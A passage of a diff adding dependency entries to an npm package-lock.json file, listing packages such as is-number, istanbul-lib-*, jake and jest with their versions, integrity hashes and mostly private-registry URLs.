"sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-number-object": { + "version": "1.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-number-object/-/is-number-object-1.0.7.tgz", + "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==", + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-obj": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-obj/-/is-obj-1.0.1.tgz", + "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-path-inside": { + "version": "3.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-plain-obj": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-plain-obj/-/is-plain-obj-3.0.0.tgz", + "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==" + }, + "node_modules/is-regex": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-regex/-/is-regex-1.1.4.tgz", + "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-regexp": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-regexp/-/is-regexp-1.0.0.tgz", + "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-root": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-root/-/is-root-2.1.0.tgz", + "integrity": "sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/is-set": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-set/-/is-set-2.0.2.tgz", + "integrity": "sha512-+2cnTEZeY5z/iXGbLhPrOAaK/Mau5k5eXq9j14CpRTftq0pAJu2MwVRSZhyZWBzx3o6X795Lz6Bpb6R0GKf37g==" + }, + "node_modules/is-shared-array-buffer": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz", + "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==", + "dependencies": { + "call-bind": "^1.0.2" + } + }, + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-string": { + "version": "1.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-string/-/is-string-1.0.7.tgz", + "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-symbol": { + "version": "1.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-symbol/-/is-symbol-1.0.4.tgz", + "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-typed-array": { + "version": "1.1.10", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-typed-array/-/is-typed-array-1.1.10.tgz", + "integrity": "sha512-PJqgEHiWZvMpaFZ3uTc8kHPM4+4ADTlDniuQL7cU/UDA0Ql7F70yGfHph3cLNe+c9toaigv+DFzTJKhc2CtO6A==", + "dependencies": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-typedarray": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==" + }, + "node_modules/is-weakmap": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-weakmap/-/is-weakmap-2.0.1.tgz", + "integrity": "sha512-NSBR4kH5oVj1Uwvv970ruUkCV7O1mzgVFO4/rev2cLRda9Tm9HrL70ZPut4rOHgY0FNrUu9BCbXA2sdQ+x0chA==" + }, + "node_modules/is-weakref": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-weakref/-/is-weakref-1.0.2.tgz", + "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==", + "dependencies": { + "call-bind": "^1.0.2" + } + }, + "node_modules/is-weakset": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-weakset/-/is-weakset-2.0.2.tgz", + "integrity": "sha512-t2yVvttHkQktwnNNmBQ98AhENLdPUTDTE21uPqAQ0ARwQfGeQKRVS0NNurH7bTf7RrvcVn1OOge45CnBeHCSmg==", + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + } + }, + "node_modules/is-wsl": { + "version": "2.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dependencies": { + "is-docker": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==" + }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz", + "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-instrument": { + "version": "5.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz", + "integrity": "sha512-pzqtp31nLv/XFOzXGuvhCb8qhjmTVo5vjVk19XE4CRlSWz0KoeJ3bw9XsA7nOp9YBf4qHjwBxkDzKcME/J29Yg==", + "dependencies": { + "@babel/core": "^7.12.3", + "@babel/parser": "^7.14.7", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-coverage": "^3.2.0", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-instrument/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==", + "dependencies": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^3.0.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-source-maps": { + "version": "4.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", + "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==", + "dependencies": { + "debug": "^4.1.1", + "istanbul-lib-coverage": "^3.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-source-maps/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/istanbul-reports": { + "version": "3.1.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/istanbul-reports/-/istanbul-reports-3.1.5.tgz", + "integrity": "sha512-nUsEMa9pBt/NOHqbcbeJEgqIlY/K7rVWUX6Lql2orY5e9roQOthbR3vtY4zzf2orPELg80fnxxk9zUyPlgwD1w==", + "dependencies": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jake": { + "version": "10.8.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jake/-/jake-10.8.7.tgz", + "integrity": "sha512-ZDi3aP+fG/LchyBzUM804VjddnwfSfsdeYkwt8NcbKRvo4rFkjhs456iLFn3k2ZUWvNe4i48WACDbza8fhq2+w==", + "dependencies": { + "async": "^3.2.3", + "chalk": "^4.0.2", + "filelist": "^1.0.4", + "minimatch": "^3.1.2" + }, + "bin": { + "jake": "bin/cli.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jake/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jake/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jake/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jake/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jake/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jake/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest/-/jest-27.5.1.tgz", + "integrity": "sha512-Yn0mADZB89zTtjkPJEXwrac3LHudkQMR+Paqa8uxJHCBr9agxztUifWCyiYrjhMPBoUVBjyny0I7XH6ozDr7QQ==", + "dependencies": { + "@jest/core": "^27.5.1", + "import-local": "^3.0.2", + "jest-cli": "^27.5.1" + }, + "bin": { + "jest": "bin/jest.js" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/jest-changed-files": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-changed-files/-/jest-changed-files-27.5.1.tgz", + "integrity": "sha512-buBLMiByfWGCoMsLLzGUUSpAmIAGnbR2KJoMN10ziLhOLvP4e0SlypHnAel8iqQXTrcbmfEY9sSqae5sgUsTvw==", + "dependencies": { + "@jest/types": "^27.5.1", + "execa": "^5.0.0", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-circus": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-circus/-/jest-circus-27.5.1.tgz", + "integrity": "sha512-D95R7x5UtlMA5iBYsOHFFbMD/GVA4R/Kdq15f7xYWUfWHBto9NYRsOvnSauTgdF+ogCpJ4tyKOXhUifxS65gdw==", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "co": "^4.6.0", + "dedent": "^0.7.0", + "expect": "^27.5.1", + "is-generator-fn": "^2.0.0", + "jest-each": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-circus/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-circus/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-circus/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-circus/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-circus/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-circus/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-cli": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-cli/-/jest-cli-27.5.1.tgz", + "integrity": "sha512-Hc6HOOwYq4/74/c62dEE3r5elx8wjYqxY0r0G/nFrLDPMFRu6RA/u8qINOIkvhxG7mMQ5EJsOGfRpI8L6eFUVw==", + "dependencies": { + "@jest/core": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "import-local": "^3.0.2", + "jest-config": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "prompts": "^2.0.1", + "yargs": "^16.2.0" + }, + "bin": { + "jest": "bin/jest.js" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/jest-cli/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-cli/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-cli/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-cli/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-cli/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-cli/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-config": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-config/-/jest-config-27.5.1.tgz", + "integrity": "sha512-5sAsjm6tGdsVbW9ahcChPAFCk4IlkQUknH5AvKjuLTSlcO/wCZKyFdn7Rg0EkC+OGgWODEy2hDpWB1PgzH0JNA==", + "dependencies": { + "@babel/core": "^7.8.0", + "@jest/test-sequencer": "^27.5.1", + "@jest/types": "^27.5.1", + "babel-jest": "^27.5.1", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "deepmerge": "^4.2.2", + "glob": "^7.1.1", + "graceful-fs": "^4.2.9", + "jest-circus": "^27.5.1", + "jest-environment-jsdom": "^27.5.1", + "jest-environment-node": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-jasmine2": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-runner": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "micromatch": "^4.0.4", + "parse-json": "^5.2.0", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "ts-node": { + "optional": true + } + } + }, + "node_modules/jest-config/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-config/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-config/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-config/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-config/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-config/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": 